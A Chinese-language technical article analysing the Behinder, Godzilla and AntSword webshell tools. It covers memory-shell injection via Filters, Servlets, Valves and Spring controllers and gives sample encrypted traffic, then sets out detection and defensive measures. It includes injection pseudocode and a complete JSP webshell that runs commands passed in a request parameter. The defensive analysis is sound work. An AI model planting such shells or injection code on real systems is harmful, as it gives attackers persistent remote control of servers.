内存马连接工具:技术特性与攻防分析
字数 2957 2025-09-01 11:26:11
内存马连接工具技术特性与攻防分析
1. 冰蝎(Behinder)技术分析
1.1 核心特点
- 采用"无文件免杀+动态内存注入"原理
- 配合AES加密通信
- 基于Filter或Servlet挂载
- 利用漏洞作为入口点注入Java Agent或Loader
1.2 注入过程
- 通过反序列化漏洞(如WebLogic T3、Shiro反序列化)或文件上传作为跳板
- Loader执行后获取Web容器上下文对象
- 通过反射调用addFilter、addServlet或直接修改容器内部结构
1.3 通信协议
- 自定义AES对称加密协议
- 密钥在内存马注入时协商或硬编码
- 流量为经过AES加密处理的二进制数据
1.4 典型内存马类型
- JSP内存马
- Tomcat Filter内存马
- Spring Controller内存马
1.5 Behinder-Filter型内存马技术细节
- 动态获取ApplicationFilterChain对象
- 通过反射机制修改内部Filter集合
- 注入自定义恶意Filter实例到请求处理链
// 伪代码示例
ServletContext servletContext = getServletContextFromRequest(request);
Object applicationFilterChain = getApplicationFilterChain();
byte[] maliciousFilterBytes = generateBehinderFilterBytecode();
Class<?> maliciousFilterClass = defineClass(maliciousFilterBytes);
Filter maliciousFilter = (Filter) maliciousFilterClass.newInstance();
// 后续通过反射注入Filter到FilterChain
1.6 Behinder-Servlet型内存马技术细节
- 调用ServletContext.addServlet API
- 动态注册新的恶意Servlet
- 映射到攻击者自定义URL路径
// 伪代码示例
ServletContext servletContext = getServletContextFromRequest(request);
byte[] maliciousServletBytes = generateBehinderServletBytecode();
Class<?> maliciousServletClass = defineClass(maliciousServletBytes);
Servlet maliciousServlet = (Servlet) maliciousServletClass.newInstance();
ServletRegistration.Dynamic dynamic = servletContext.addServlet("behinderServlet", maliciousServlet);
dynamic.addMapping("/behinderShell");
1.7 流量特征
- POST请求,Body数据是AES加密+Base64编码的二进制串
- 请求URL通常是内存马注入的合法路径或新注册路径
- 参数名通常为随机字符串或可配置
示例请求:
POST /index.jsp HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
[随机参数名]=[Base64(AES加密数据)]
2. 哥斯拉(Godzilla)技术分析
2.1 核心特点
- 以JSP Webshell起家,配套各种内存马注入器
- 多种编码器+插件
- 注重免杀与长连接管理
- 支持多语言(Java、PHP、ASP、ASP.NET等)
2.2 核心思路
- 上传基础JSP马作为Loader入口
- 基础马加载Memory Shell Loader
- Loader执行内存马注入工作
2.3 通信加密
- AES加密+Base64编码
- 可自定义HTTP Header和参数名
- 流量模拟正常HTTP表单传输
2.4 免杀特性
- 动态生成字节码
- 加密数据
- 插件化机制可替换加密算法和编码器
2.5 Godzilla-Filter型内存马
// 伪代码示例
byte[] godzillaLoaderBytes = getBytesFromRequestParameter("loader");
Class<?> godzillaLoaderClass = defineClass(godzillaLoaderBytes);
Object loaderInstance = godzillaLoaderClass.newInstance();
Method injectFilterMethod = godzillaLoaderClass.getMethod("injectFilter", ServletContext.class, String.class);
injectFilterMethod.invoke(loaderInstance, servletContext, "/godzillaFilterPath");
2.6 Godzilla-Valve型内存马
- 获取Tomcat的Engine或Host对象的Pipeline
- 通过反射调用addValve方法
- 注入自定义恶意Valve实例
// 伪代码示例
Server server = getTomcatServerInstance();
Pipeline pipeline = server.findService("Catalina").getContainer().getPipeline();
byte[] maliciousValveBytes = generateGodzillaValveBytecode();
Class<?> maliciousValveClass = defineClass(maliciousValveBytes);
Valve maliciousValve = (Valve) maliciousValveClass.newInstance();
Method addValveMethod = Pipeline.class.getDeclaredMethod("addValve", Valve.class);
addValveMethod.setAccessible(true);
addValveMethod.invoke(pipeline, maliciousValve);
2.7 Godzilla-Spring型内存马
- 获取Spring应用上下文中的RequestMappingHandlerMapping Bean
- 通过反射调用registerHandlerMethod
- 注册动态生成的恶意Controller Bean
// 伪代码示例
ApplicationContext context = getSpringApplicationContext();
RequestMappingHandlerMapping handlerMapping = context.getBean(RequestMappingHandlerMapping.class);
byte[] maliciousControllerBytes = generateGodzillaControllerBytecode();
Class<?> maliciousControllerClass = defineClass(maliciousControllerBytes);
Object maliciousController = maliciousControllerClass.newInstance();
Method targetMethod = maliciousControllerClass.getMethod("handleRequest");
RequestMappingInfo mappingInfo = RequestMappingInfo.paths("/godzillaSpringShell").build();
Method registerHandlerMethod = RequestMappingHandlerMapping.class.getDeclaredMethod(
"registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
registerHandlerMethod.setAccessible(true);
registerHandlerMethod.invoke(handlerMapping, maliciousController, targetMethod, mappingInfo);
handlerMapping.afterPropertiesSet();
2.8 流量特征
- POST请求体包含Base64编码的AES加密数据
- 参数名和值可高度混淆或随机
- User-Agent可能含"Godzilla"(可自定义)
示例请求:
POST /index.jsp HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
pass=[Base64(AES加密数据)]&sessionid=[Base64(AES加密数据)]
3. 蚁剑(AntSword)技术分析
3.1 核心特点
- 早期偏向PHP,JSP是次要
- 主要用于管理传统文件型Webshell
- 后期支持内存马和自定义编码器
- 高度自定义自由度
3.2 核心思路
- 部署JSP后门文件作为入口
- 通过后门执行Java代码
- 上传并执行定制Java类(MemoryShellLoader)
- Loader动态注册恶意组件
3.3 通信加密
- 支持自定义编码器
- 可以是简单Base64或复杂加密算法
- 流量特征高度依赖编码器
3.4 AntSword-JSP内存马示例
<%@ page import="java.io.*,java.util.*,java.lang.reflect.*,javax.servlet.*,javax.servlet.http.*"%>
<%
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
try {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
StringBuilder sb = new StringBuilder();
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
out.println(sb.toString());
} catch (Exception e) {
out.println(e.getMessage());
}
}
%>
3.5 流量特征
- 默认Base64编码:参数为Base64编码的命令或代码
- 自定义编码器:特征随编码器变化
- 参数名可自定义
示例请求:
POST /shell.jsp HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
z1=Q2xhc3MuZm9yTmFtZSgiYW50c3dvcmQuTG9hZGVyIikuZ2V0TWV0aG9kKCJpbmplY3QiL...
4. 工具对比
| 特性 | 冰蝎(Behinder) | 哥斯拉(Godzilla) | 蚁剑(AntSword) |
|---|---|---|---|
| 主打 | 内存马远控 | 内存马+多语言支持 | 文件型马管理+自定义内存注入 |
| 通信 | AES加密(自定义协议) | AES+Base64 | 可自定义编码器 |
| 默认支持马型 | Filter、Servlet、Valve、Spring Controller | Filter、Valve、Spring Controller、Listener | 主要依赖用户自定义注入 |
| 特点 | 流量特征隐蔽、持久化强 | 插件化丰富、支持跨语言 | 社区脚本多、自定义自由度高 |
| 常用场景 | 红队内网持久化、Web应用RCE后门 | 内网后渗透横向、多环境适配 | 传统WebShell管理、二次利用 |
| 流量特征 | POST请求,参数值AES加密+Base64 | POST请求,参数值AES加密+Base64,User-Agent可能含"Godzilla" | POST请求,参数值取决于编码器(多为Base64) |
| 核心注入 | 内置高度集成、混淆的Loader | 内置模块化Loader | 依赖外部注入脚本 |
5. 典型攻击流程(共性)
- 获取初始权限:通过应用程序漏洞(文件上传、反序列化、RCE等)
- 通过初步落地脚本执行Loader
- Loader通过反射/类加载器注入恶意字节码
- 动态注册挂钩点(FilterChain、ServletContext等)
- 后续命令通过自定义加密协议远程发送
- 流量伪装成正常业务
- 持久化驻留
6. 防御关键点
6.1 技术防御措施
-
禁用危险的动态加载点:
- 限制defineClass、TemplatesImpl、BCEL等危险方法
- 监控类加载行为
-
WAF/IPS配置:
- 检测高危关键字(eval、exec、ProcessBuilder)
- 识别异常HTTP方法、隐藏参数
- 检测特征性流量(特定User-Agent、异常Base64参数等)
-
部署EDR/HIDS与内存巡检:
- 实时监控JVM进程行为
- 使用Arthas、MAT等工具定期分析内存快照
- 查找动态生成的类、可疑字节数组和反射调用链
-
运行时组件比对与基线管理:
- 定期比对Filter、Servlet、Valve、Listener等组件的注册状态
- 任何未在配置文件声明的动态注册组件视为异常
6.2 管理防御措施
-
加固上传点与反序列化点:
- 严格校验文件上传(MIME类型、内容、后缀名)
- 反序列化入口使用白名单机制
- 禁用危险的类
-
限制可执行文件和类白名单:
- 实施严格的应用程序控制
- 限制可执行的二进制文件和可加载的类
-
日志审计与SIEM联动:
- 收集Web服务器访问日志、应用日志、安全设备日志
- SIEM系统关联分析
- 配置告警规则识别异常行为
7. 总结
内存马技术已成为现代Web安全攻防的重要战场。冰蝎、哥斯拉和蚁剑作为主流工具,各有特点:冰蝎专注于内存马的隐蔽性和持久化,哥斯拉强调多语言支持和插件化,蚁剑则提供高度自定义能力。防御方需要从技术和管理两个层面构建纵深防御体系,重点关注动态加载行为监控、内存状态检测和运行时组件基线管理,才能有效应对日益复杂的内存马威胁。